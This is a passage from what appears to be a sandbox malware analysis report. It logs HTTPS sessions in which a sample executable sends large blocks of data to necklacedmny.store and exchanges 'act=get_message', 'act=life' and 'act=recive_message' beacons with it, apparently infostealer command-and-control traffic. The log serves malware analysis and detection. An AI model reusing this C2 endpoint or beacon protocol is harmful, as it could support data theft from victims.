2a 58 d2 c5 Data Ascii: Bf#8riy\|z=(xdmgo>O}Uj}yR83kp(#5hJbn.1?}vfr b%Xh2^c4Z\ov\|Ow0n0.}nUcRgHCF,iF^v5>{^S#ol}km#(ObqDs}kIX
2024-10-31 23:39:23 UTC	15331	OUT	Data Raw: 95 b3 ab e3 02 06 de 0a a8 d7 ca db 3a 8f e6 71 20 e4 f3 01 61 d4 55 e0 76 e7 f7 ee df ff ff c3 cd 13 40 be 38 5e f3 27 44 c9 d2 4b 45 42 19 42 cc 5b 69 20 d1 df ff d6 bd 2c c4 a1 48 64 cf 25 c5 61 f5 6f 80 b0 97 68 89 79 89 25 7e 99 94 5b e0 06 67 7e 42 4b 5e bb 84 e2 ca b9 a1 1d 22 ac 1f 41 6d 30 d2 13 03 94 fb 4e cc 4d 15 59 ea cd 25 15 ad 22 d1 39 7e f9 65 38 c9 d0 60 e1 1b de ad 54 80 b6 0f 63 dd ff 1d 15 e3 cc cb 9c da c8 3c 9c ff 7a bd bb 15 b8 78 be 95 00 e1 45 a7 c2 97 da f3 7e 65 dc bb d1 c6 b6 ed 14 b0 ed f7 64 cb f6 a4 08 19 27 1b 4d 45 3a 1b 92 64 b2 e4 8b 4a 00 ab 2c f2 a2 2f 6e d3 48 68 61 ba 7c 41 51 e2 94 8c 85 4d 88 27 cf a1 9c 96 09 90 8b cf 8f 47 f0 1b c7 92 66 b7 4f bf d9 c7 a9 45 95 b6 7b 82 67 b4 af 8d d9 b9 41 89 dd 3e 04 6e 3c 57 Data Ascii: :q aUv@8^'DKEBB[i ,Hd%aohy%~[g~BK^"Am0NMY%"9~e8`Tc<zxE~ed'ME:dJ,/nHha\|AQM'GfOE{gA>n<W
2024-10-31 23:39:23 UTC	15331	OUT	Data Raw: d8 e9 05 cb 32 8f 71 d4 85 c2 b8 03 a9 34 32 f6 02 c9 93 df a2 5f a0 c6 ff 3a bc d8 b4 7a df b6 12 e4 b6 f6 f4 c3 54 32 5f 8c 3d e9 a2 fa b7 40 93 3d 61 c8 14 03 41 db 0d 84 f7 5f 9d 21 24 84 86 d6 b0 1b 80 8d cf fb 95 14 ca 78 27 c6 f6 b5 a1 0d a6 f8 62 7f f4 8c 77 ee a4 9e e1 0b 1f e7 9e 57 5f 45 75 9b d7 8a 03 c9 1a 42 2b 4f 71 61 9b 01 8f 06 78 41 8e 25 25 2d 58 43 f8 fa 4f d4 4e 41 2b 10 3f 0f 8c 76 cd 9d d8 87 cf ae 63 bf 42 de e5 19 fd fe d0 63 a4 26 3a 9a 8f ed 7d 3b 3e 11 11 f7 9c 7e ab da 33 96 74 3f ca a6 c0 7f 7b 31 21 6d 3b 67 99 63 36 f8 5e b0 06 45 9d 2a e5 d7 9f 30 40 53 fd ff f8 fe 53 e3 9a 2e d7 de 10 cb bb e3 ac 87 14 64 b6 59 dc 35 ff 11 5c d0 40 99 1c db c2 28 39 4e 3a 53 0f fe 78 26 19 e6 d9 61 3f 40 f3 01 5a 28 e6 4d 05 9a 1d f8 df Data Ascii: 2q42_:zT2_=@=aA_!$x'bwW_EuB+OqaxA%%-XCONA+?vcBc&:};>~3t?{1!m;gc6^E*0@SS.dY5\@(9N:Sx&a?@Z(M
2024-10-31 23:39:23 UTC	15331	OUT	Data Raw: 79 c6 85 b9 54 fa 2e ac 34 92 b1 79 54 8e 87 6f 5c 1a 39 e6 1a 6c b2 09 32 cb b8 3a 9a 77 24 06 e9 cb ae d9 3e 49 11 26 b1 d4 ab 02 7a 01 50 b9 0e 73 df 03 1d e6 76 5b d8 af 36 08 05 8c 56 2e 8a 22 4d 96 7e 34 23 a8 fc 00 08 2b 7d 39 c2 ae 9d 84 b1 43 22 5d 99 95 33 47 40 53 9f 7d 9c bf 6b 52 ce 3a cb 4d 1b 34 aa 1a a8 23 20 18 5e 05 6f 01 53 0b 22 f1 70 7a 42 68 e7 26 d9 44 06 b1 98 e7 6d b7 96 91 d7 86 db 3e 3d a4 df 00 2d c6 96 6c 79 c6 b5 b0 e8 0f 0f 0a 54 ae a6 dd bf 0b d6 f9 a1 ad 00 ac e8 ce 5d 97 8b 70 dc ec fe df f4 ee f3 20 59 a8 ca e5 d7 b4 00 e3 0b 82 fa 92 4a c6 82 42 01 be 2b 78 66 32 20 11 b4 91 71 68 20 81 10 f2 da 4b d2 c5 e1 9e aa 83 ee db 48 58 c3 aa 23 a8 69 a5 50 92 f3 52 a4 1d 7d 67 72 9c 28 62 ac 05 9c c1 79 b6 a9 ce 98 cb a7 dc 67 Data Ascii: yT.4yTo\9l2:w$>I&zPsv[6V."M~4#+}9C"]3G@S}kR:M4# ^oS"pzBh&Dm>=-lyT]p YJB+xf2 qh KHX#iPR}gr(byg
2024-10-31 23:39:23 UTC	15331	OUT	Data Raw: 18 e2 02 cb c3 91 36 c9 93 a7 c0 b5 45 b0 4f 9e 29 fb d3 1b 5a 7f 37 9f 3e 73 e1 10 28 16 32 ad b2 01 43 17 30 5c 78 a9 3d 8e b4 18 d7 42 31 ee d6 a4 c3 b5 26 d5 7f f8 75 9d e6 68 77 76 76 5b 29 64 e7 24 cc eb c1 bb 29 8e bb e2 14 07 bb 20 92 54 1c e2 cd b7 36 1d fe 03 f2 27 2f d6 bf 35 46 75 94 bd bf 2b 9f 93 ac 39 ca 71 7f f1 18 67 7b 97 38 63 e8 8f bd 76 46 9a 91 4c 86 77 c9 c7 2d be 89 9f 13 05 01 a8 fd 65 ee fd f6 df 4c f2 60 be 89 90 00 6f 42 93 97 91 e7 0f 3e 2f 4c a6 e2 88 b6 3b 77 81 a9 21 ca ac 1c 5f 52 85 45 9c 92 33 a5 53 c4 d3 fd 33 79 69 e3 62 d2 91 e1 13 65 96 eb 4a f3 ef cc 0b 3d 40 f0 7c d5 ba 01 60 ad 75 2a 7c e7 fa ad bd 7b 7d dd 77 f3 8f f1 b3 54 32 dd 6f bc d5 93 cb d9 fe ae 49 59 bc fb 17 9a 42 60 ef e3 5a ae 54 0b a7 4a fc a2 97 a9 Data Ascii: 6EO)Z7>s(2C0\x=B1&uhwvv[)d$) T6'/5Fu+9qg{8cvFLw-eL`oB>/L;w!_RE3S3yibeJ=@\|`u*\|{}wT2oIYB`ZTJ
2024-10-31 23:39:23 UTC	15331	OUT	Data Raw: 61 19 a1 13 8d 13 50 cc ef 8e 73 c0 d1 0f 09 55 df 05 53 de bf f3 68 99 2f 37 9f ef c5 bd 92 c1 7a 99 fd d9 2d 8f 03 36 b4 ec 33 aa 18 42 f7 5f a8 50 a3 f0 df 3b 9b 32 0d c0 3f 9f 1b 2a f7 65 87 b7 9e e9 08 d5 da 31 9f ec b8 f3 02 94 f3 09 41 e4 83 78 f9 7b 76 a7 5f e5 2b 7f 95 11 5c 5f 18 f9 29 b6 da d6 37 d0 22 3b aa 4b 20 6b b2 33 7b 9c 43 79 f8 cf 02 9f 77 68 49 f6 0d 0a 3e 2b 2c 45 3b d5 e5 fd 96 91 7d 8b ae 71 44 ec 55 f6 60 c5 59 23 af c2 0c 72 48 85 e6 93 5f d6 b4 fc 9f 04 1d e9 a4 ed 7d 17 ea f5 57 ec 19 ba 73 a3 52 fa ab 21 d7 ba 39 52 fe 42 7a 18 c7 96 75 4d 45 42 66 2c 2a 34 09 eb cd af a7 07 4c c3 1c 20 d9 b3 77 eb 95 68 87 ad 62 7e 21 7e b0 88 86 d6 5a 51 7c 01 a8 80 16 85 c3 d6 04 17 58 0f d9 ca e5 5f 05 f9 3f e5 1b a4 a6 21 c2 33 41 5a 1f Data Ascii: aPsUSh/7z-63B_P;2?e1Ax{v_+\_)7";K k3{CywhI>+,E;}qDU`Y#rH_}WsR!9RBzuMEBf,4L whb~!~ZQ\|X_?!3AZ
2024-10-31 23:39:23 UTC	15331	OUT	Data Raw: a4 4b 3f c3 64 82 50 32 fd 10 61 24 60 51 1a a6 c7 3f 89 0d e5 a1 6a 04 08 d4 29 0f 0c 1d 02 dd 1b f1 ff f0 72 23 02 4f 03 ae 4b a4 cf 22 69 6f 91 e4 2a 28 07 61 82 86 55 b0 7f 12 c4 71 96 6a 00 7f 30 0e 0c 56 62 aa d1 30 7e 1e 02 61 67 0e 4f 91 12 00 3e c7 56 2e 3a b9 1f 16 aa 38 9a 88 30 ed 3b 25 f5 21 9c 00 d3 72 6d 4d 45 2d 95 8f 68 1d d1 eb 83 a3 84 de a2 e1 99 1f 4a 45 7c 5c 8c 75 8d c0 67 ee 28 fe 74 ff f8 7d a7 54 40 cd 91 9d bf 72 f2 88 2a 68 9d d6 ca 55 74 a6 a0 a2 92 10 01 e2 84 b5 0b 96 8e 34 79 2e 63 0a cd 40 3b fa f0 74 74 20 a6 e3 d3 a9 34 63 e3 36 ed f3 1a 8d 4c 5e 3c e6 6e 65 19 60 13 8a c6 ce eb 5f 88 44 45 8a 66 f1 6e 80 6d 80 a9 6c 2e ab 41 80 46 61 ae 8b ee c0 3e 7b ab fc cc 51 fc 6b fa 68 cb 11 4d e7 48 10 86 9f da bc f2 a3 b7 0a f9 Data Ascii: K?dP2a$`Q?j)r#OK"io(aUqj0Vb0~agO>V.:80;%!rmME-hJE\|\ug(t}T@rhUt4y.c@;tt 4c6L^<ne`_DEfnml.AFa>{QkhMH
2024-10-31 23:39:23 UTC	15331	OUT	Data Raw: d8 50 f5 90 2f a5 4c f9 0e 72 74 9b 72 e9 2e 6d cb 08 cb ca 4c 80 65 38 8d b1 f5 f5 9f e8 a3 cd 42 1b ef 84 aa 57 67 4d 7e 8d 44 5d 0c 99 92 1f 1e 96 0b fa 7c a6 0c 80 6b 29 5a 85 4b bd cc 13 b7 d5 ba ab bc 7c 7c ce 43 a4 f7 8f e7 eb 0b ff bf b9 22 8f 04 41 71 2c 37 44 8f 87 0d 45 80 6c 9a 05 f9 31 44 68 50 18 cb 3e 73 fd 2e 01 22 d9 25 a8 7f d8 d0 26 4d d0 1a 7d cd 62 ef 18 ad 3b 3d fc cc 1f a7 8d df bd b3 41 ae c2 e7 89 cc f9 71 a6 c4 d4 c9 b1 3b ae 2b 5a 8c 8f b2 a8 af bb 2b f4 ef 08 50 b6 7f 59 9d 6b d5 bd a4 41 ef 85 1a b3 ae 21 e0 cc 87 89 ed a2 5c 52 95 8c 01 e2 b2 e1 86 bc c0 c7 69 e9 cb 64 12 9a bb fa f4 e4 81 17 e4 96 4f eb ec 90 52 7b c2 5b 40 2d 95 c3 1f 7b 87 09 41 00 5e a8 8d 9b 55 62 fd cf 5c de fe b2 9a 2f 40 73 1f e6 ba 68 cc 43 c8 02 0d Data Ascii: P/Lrtr.mLe8BWgM~D]\|k)ZK\|\|C"Aq,7DEl1DhP>s."%&M}b;=Aq;+Z+PYkA!\RidOR{[@-{A^Ub\/@shC
2024-10-31 23:39:25 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nm3sklpsqmh0s3ecb4ct8j0gv5; expires=Mon, 24-Feb-2025 17:26:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yECp19C5JjmEaNkPoi8%2FWL0G15cTK2c%2FNVh09F1DIdA11fp9muggRGs73hcJ2MVY3BvxeE5oHtEqQPFBeW5sWkl8%2FM7SfeRcDQBkQSlZFPFmw38HZyviQjXn2quyWuHFnnh5cYM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77bef8f6f6b85-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1082&sent=209&recv=591&lost=0&retrans=0&sent_bytes=2845&recv_bytes=553876&delivery_rate=2531468&cwnd=246&unsent_bytes=0&cid=3fba70d4ec0079c2&ts=1754&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50037	188.114.96.3	443	5280	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:26 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 23:39:26 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=F64ABC92A356B4CB1D010CCA66106C85
2024-10-31 23:39:26 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9aq1t3fmvark5rb2t2105lrt98; expires=Mon, 24-Feb-2025 17:26:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RA36k25sl9SOH9T5IrTNjlkYZHQJqAyz9jreqzUqJz3I2Afu55GTnUCUxu%2B%2FhSmyFx068Hxruij7kcBrXKaVMNS6JXj6w%2FKa6%2BzLgirpv%2BJVZJtBcL6GZRY6UinuJo28d3ibr4s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77c00db4045f4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1154&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=2496551&cwnd=251&unsent_bytes=0&cid=61e8647693501834&ts=538&x=0"
2024-10-31 23:39:26 UTC	214	IN	Data Raw: 64 30 0d 0a 41 37 35 58 33 4f 79 2b 71 68 66 63 43 4f 71 6f 54 6e 4e 77 64 78 56 39 56 64 49 69 30 55 75 39 6f 47 30 4f 30 4a 4d 6b 6e 51 42 59 78 58 57 70 7a 6f 53 49 66 36 68 38 6d 70 49 53 58 43 78 59 4a 45 56 67 2f 42 44 67 66 70 4f 52 58 44 33 2b 6f 68 4c 42 4c 32 7a 59 4d 59 44 44 32 73 39 78 38 6d 32 53 7a 57 78 66 55 68 46 68 58 32 2f 69 44 76 4d 75 6e 35 70 64 63 2f 7a 6f 42 75 67 69 4f 5a 77 2f 71 4a 6a 4f 6b 45 76 7a 56 4d 57 5a 64 6b 5a 65 52 53 52 49 65 2b 4d 54 34 6d 57 4d 6c 6a 45 68 76 66 70 4b 2b 46 77 73 7a 44 61 79 69 4e 48 48 4f 62 6c 77 6a 34 70 69 55 52 59 44 4e 30 64 6c 2f 67 43 30 61 59 65 51 45 46 4d 3d 0d 0a Data Ascii: d0A75X3Oy+qhfcCOqoTnNwdxV9VdIi0Uu9oG0O0JMknQBYxXWpzoSIf6h8mpISXCxYJEVg/BDgfpORXD3+ohLBL2zYMYDD2s9x8m2SzWxfUhFhX2/iDvMun5pdc/zoBugiOZw/qJjOkEvzVMWZdkZeRSRIe+MT4mWMljEhvfpK+FwszDayiNHHOblwj4piURYDN0dl/gC0aYeQEFM=
2024-10-31 23:39:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	50074	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:39 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 23:39:39 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 23:39:39 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fru8d6tovuli5cko1l6lrje2ph; expires=Mon, 24-Feb-2025 17:26:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4NVtkFY4QfKnVFhfK84GWE%2F0wSfTG%2BTZkVS9a%2B8Uq6b5FexYjlTy0igiBnmgcPx4w4efgy2CA%2F8yqwfoXbRSGVYRmWMt92zKWoUJCFmc%2BHpZzGCD2zbBcHpPUZzGNMpICXTi9W8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77c519ab22ccd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1154&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2395368&cwnd=251&unsent_bytes=0&cid=bfb3238e560a7929&ts=567&x=0"
2024-10-31 23:39:39 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 23:39:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	50076	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:40 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 23:39:40 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 23:39:41 UTC	1011	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sfg4lp8qrmqu91uq96ln3dudic; expires=Mon, 24-Feb-2025 17:26:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IJMEzvkILNl2u3PtrSOiGeewg8CP7jS1912uj3NX7RB7BmR9VXJKWqj6uWJ4IJLkBPhjZuRjjZAjDX5DBMLQ5EOOFEmjc1KmgmZjafFDhYHbwgljlN%2FwjB4waIhmvm%2BT2DiUTyM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77c5bfe79cb75-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2158&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=1324794&cwnd=183&unsent_bytes=0&cid=d421d501102aaec2&ts=480&x=0"
2024-10-31 23:39:41 UTC	358	IN	Data Raw: 34 64 61 0d 0a 71 43 30 34 6c 41 76 4c 6e 52 43 39 46 33 56 5a 36 42 53 2b 43 46 42 51 75 7a 43 2b 6c 35 6d 76 35 70 56 76 77 68 62 6c 47 70 76 54 44 30 36 32 4d 66 2b 78 4d 73 35 79 56 32 4f 63 5a 73 74 74 66 48 4c 61 56 4a 79 74 2f 38 36 4b 35 67 72 75 4e 4a 4e 33 75 5a 4a 4c 57 66 68 34 72 72 45 79 32 47 39 58 59 37 4e 76 6e 47 30 2b 63 6f 45 53 32 2f 33 37 7a 6f 72 33 44 71 6c 35 6c 58 62 34 77 45 46 66 2f 47 36 6f 2b 58 48 52 65 68 41 38 6a 58 58 55 5a 6a 6b 39 30 31 32 63 75 37 76 4b 6e 4c 64 56 34 46 75 41 62 76 72 6c 54 45 76 2f 4b 62 61 78 61 35 39 79 47 33 76 53 4e 74 39 74 4d 6a 7a 64 56 4e 58 2f 38 63 65 43 39 67 75 6f 5a 6f 78 38 38 38 42 50 58 50 31 6b 6f 65 31 38 32 33 30 62 4f 6f 64 31 6e 43 52 79 4e 63 45 53 68 4c 57 6f 2f 34 66 6d 48 4c Data Ascii: 4daqC04lAvLnRC9F3VZ6BS+CFBQuzC+l5mv5pVvwhblGpvTD062Mf+xMs5yV2OcZsttfHLaVJyt/86K5gruNJN3uZJLWfh4rrEy2G9XY7NvnG0+coES2/37zor3Dql5lXb4wEFf/G6o+XHRehA8jXXUZjk9012cu7vKnLdV4FuAbvrlTEv/Kbaxa59yG3vSNt9tMjzdVNX/8ceC9guoZox888BPXP1koe18230bOod1nCRyNcEShLWo/4fmHL
2024-10-31 23:39:41 UTC	891	IN	Data Raw: 33 34 63 50 70 68 39 31 57 63 2f 4d 74 52 59 30 2f 62 37 79 6f 37 39 41 71 70 77 69 6e 58 2f 79 6b 38 61 75 43 6d 75 35 7a 4b 48 4e 54 51 2b 6d 6e 48 51 66 48 41 49 6d 55 32 53 37 4c 76 4b 69 4c 64 56 34 48 79 43 65 2f 72 42 51 46 6e 2b 59 72 76 2f 59 4e 6c 34 45 69 6d 4d 63 39 4a 67 4d 53 44 54 58 4e 72 32 38 73 61 4e 38 67 71 6b 4e 4d 6b 34 2f 74 49 50 41 72 5a 49 70 50 52 2b 31 57 49 58 65 35 55 34 78 53 6f 31 50 70 6b 4b 6e 50 48 36 79 59 58 7a 41 36 35 77 69 33 37 33 78 30 42 63 2f 47 6d 75 39 58 72 58 64 42 6f 77 68 58 62 5a 5a 7a 59 30 31 56 50 5a 74 62 57 4e 67 2b 39 4e 2b 44 53 70 66 2f 72 59 44 57 2f 31 5a 36 66 34 5a 4a 39 71 57 53 4c 4b 63 64 41 71 61 6e 4c 58 56 39 50 6e 2b 74 2b 42 2b 52 2b 73 63 59 46 31 2b 73 52 50 58 2f 46 6b 70 2f 6c 31 Data Ascii: 34cPph91Wc/MtRY0/b7yo79AqpwinX/yk8auCmu5zKHNTQ+mnHQfHAImU2S7LvKiLdV4HyCe/rBQFn+Yrv/YNl4EimMc9JgMSDTXNr28saN8gqkNMk4/tIPArZIpPR+1WIXe5U4xSo1PpkKnPH6yYXzA65wi373x0Bc/Gmu9XrXdBowhXbZZzY01VPZtbWNg+9N+DSpf/rYDW/1Z6f4ZJ9qWSLKcdAqanLXV9Pn+t+B+R+scYF1+sRPX/Fkp/l1
2024-10-31 23:39:41 UTC	1369	IN	Data Raw: 33 66 39 32 0d 0a 4a 74 70 50 42 37 31 6e 77 46 4d 59 5a 34 7a 6d 63 34 4e 39 64 65 32 66 72 37 7a 49 58 35 42 36 73 30 79 54 6a 2b 30 67 38 43 74 6b 61 6b 37 32 44 56 66 67 5a 35 76 33 58 53 5a 44 55 6b 6d 55 32 53 37 4c 76 4b 69 4c 64 56 34 48 2b 42 64 50 58 4b 53 55 6a 34 5a 72 76 31 59 4e 74 37 45 7a 65 45 66 39 46 6c 4e 79 44 64 55 73 37 30 2f 73 71 4b 2b 68 2b 6c 4e 4d 6b 34 2f 74 49 50 41 72 5a 54 6e 66 68 69 7a 6e 4a 56 44 6f 6c 34 30 6d 30 6b 63 73 59 63 78 62 58 38 77 63 53 76 54 61 4e 34 69 6e 48 38 78 56 31 51 2b 6d 69 37 2b 48 76 57 66 78 59 31 68 58 33 51 62 79 41 35 31 6c 72 54 39 50 62 41 6a 2f 4d 4e 34 44 72 48 66 2b 47 4b 46 78 72 58 5a 4b 62 74 63 63 34 33 49 6a 69 45 65 4e 74 38 63 69 32 58 53 35 7a 79 39 34 33 63 74 77 79 73 65 49 5a Data Ascii: 3f92JtpPB71nwFMYZ4zmc4N9de2fr7zIX5B6s0yTj+0g8Ctkak72DVfgZ5v3XSZDUkmU2S7LvKiLdV4H+BdPXKSUj4Zrv1YNt7EzeEf9FlNyDdUs70/sqK+h+lNMk4/tIPArZTnfhiznJVDol40m0kcsYcxbX8wcSvTaN4inH8xV1Q+mi7+HvWfxY1hX3QbyA51lrT9PbAj/MN4DrHf+GKFxrXZKbtcc43IjiEeNt8ci2XS5zy943ctwyseIZ
2024-10-31 23:39:41 UTC	1369	IN	Data Raw: 46 33 39 59 71 33 37 63 74 4a 2b 47 54 57 44 65 74 52 6d 4e 53 44 55 56 39 54 2f 38 73 69 49 2b 67 36 79 64 34 59 34 74 34 70 49 51 72 59 78 36 64 68 42 36 46 5a 58 4a 4d 52 76 6e 47 30 2b 63 6f 45 53 33 66 33 38 77 34 44 6c 41 37 4a 36 67 48 6a 2f 77 6b 64 64 2b 6d 65 6e 37 58 72 65 64 52 6b 30 67 6e 2f 59 61 7a 59 32 31 56 57 63 75 37 76 4b 6e 4c 64 56 34 46 79 45 59 75 4f 49 59 56 48 32 62 72 6e 70 61 5a 39 71 57 53 4c 4b 63 64 41 71 61 6e 4c 64 57 64 62 38 2b 4d 53 41 2b 67 32 70 65 34 35 77 39 4d 4a 64 57 2f 78 37 72 66 70 7a 30 48 38 54 4d 34 5a 35 30 47 34 67 4f 5a 6b 63 6e 50 4c 6a 6a 64 79 33 4c 61 74 69 70 47 72 72 69 6c 41 55 37 79 6d 75 38 7a 4b 48 4e 52 34 33 69 33 66 57 62 44 6b 33 31 46 4c 5a 2f 2f 7a 42 68 50 63 4f 70 6e 4b 4b 63 50 48 47 Data Ascii: F39Yq37ctJ+GTWDetRmNSDUV9T/8siI+g6yd4Y4t4pIQrYx6dhB6FZXJMRvnG0+coES3f38w4DlA7J6gHj/wkdd+men7XredRk0gn/YazY21VWcu7vKnLdV4FyEYuOIYVH2brnpaZ9qWSLKcdAqanLdWdb8+MSA+g2pe45w9MJdW/x7rfpz0H8TM4Z50G4gOZkcnPLjjdy3LatipGrrilAU7ymu8zKHNR43i3fWbDk31FLZ//zBhPcOpnKKcPHG
2024-10-31 23:39:41 UTC	1369	IN	Data Raw: 61 73 39 33 6e 5a 65 78 59 39 68 6e 75 63 4a 48 49 31 77 52 4b 45 74 64 7a 58 69 66 45 61 73 55 47 41 65 4b 69 4b 55 42 54 76 4b 61 37 7a 4d 6f 63 31 47 6a 65 41 65 39 6c 75 4f 6a 58 61 55 39 44 78 39 73 43 41 2f 67 6d 6c 5a 70 56 2b 39 38 70 41 56 50 6c 6c 75 2f 46 33 33 33 6c 58 64 63 70 78 78 43 70 71 63 75 68 46 33 4c 58 6b 67 35 32 33 43 71 77 30 33 7a 6a 32 78 31 31 57 2b 57 6d 6f 2f 48 62 55 63 68 45 39 69 33 58 5a 61 54 63 30 32 46 4c 51 2f 2f 7a 46 6a 76 6b 41 70 6e 43 42 66 72 6d 45 44 31 33 75 4b 66 47 2f 51 4e 4a 37 48 6a 69 4d 65 38 70 43 41 33 4c 47 48 4d 57 31 2f 4d 48 45 72 30 32 6b 66 34 39 30 2f 4d 4a 4b 57 2f 35 6a 6f 66 42 39 7a 58 51 59 4d 6f 31 39 30 57 55 38 4e 39 64 41 32 2f 37 77 78 59 33 35 43 2b 41 36 78 33 2f 68 69 68 63 61 77 Data Ascii: as93nZexY9hnucJHI1wRKEtdzXifEasUGAeKiKUBTvKa7zMoc1GjeAe9luOjXaU9Dx9sCA/gmlZpV+98pAVPllu/F333lXdcpxxCpqcuhF3LXkg523Cqw03zj2x11W+Wmo/HbUchE9i3XZaTc02FLQ//zFjvkApnCBfrmED13uKfG/QNJ7HjiMe8pCA3LGHMW1/MHEr02kf490/MJKW/5jofB9zXQYMo190WU8N9dA2/7wxY35C+A6x3/hihcaw
2024-10-31 23:39:41 UTC	1369	IN	Data Raw: 31 31 33 45 5a 4b 59 74 35 6e 43 52 79 4e 63 45 53 68 4c 58 4b 32 34 50 77 41 75 4a 64 67 47 50 34 77 45 78 52 2b 69 6d 32 73 57 75 66 63 68 74 37 30 6a 62 52 5a 6a 38 32 79 31 37 63 39 66 4c 4b 6a 75 55 43 72 33 6d 45 65 50 7a 59 54 6b 6a 35 59 71 7a 38 64 74 42 36 47 7a 4f 41 4e 70 49 71 4e 53 71 5a 43 70 7a 5a 2b 4e 79 4f 74 53 71 36 59 6f 42 30 36 4d 46 43 56 72 5a 32 35 2b 59 79 32 48 6c 58 59 38 70 32 33 57 63 67 4e 39 68 59 31 76 6a 7a 77 6f 48 79 41 71 52 77 6a 48 62 72 78 45 42 61 38 47 4b 6f 2b 6e 48 55 66 78 6b 79 6d 44 61 53 4b 6a 55 71 6d 51 71 63 33 2b 44 4d 69 66 74 50 6a 6e 2b 52 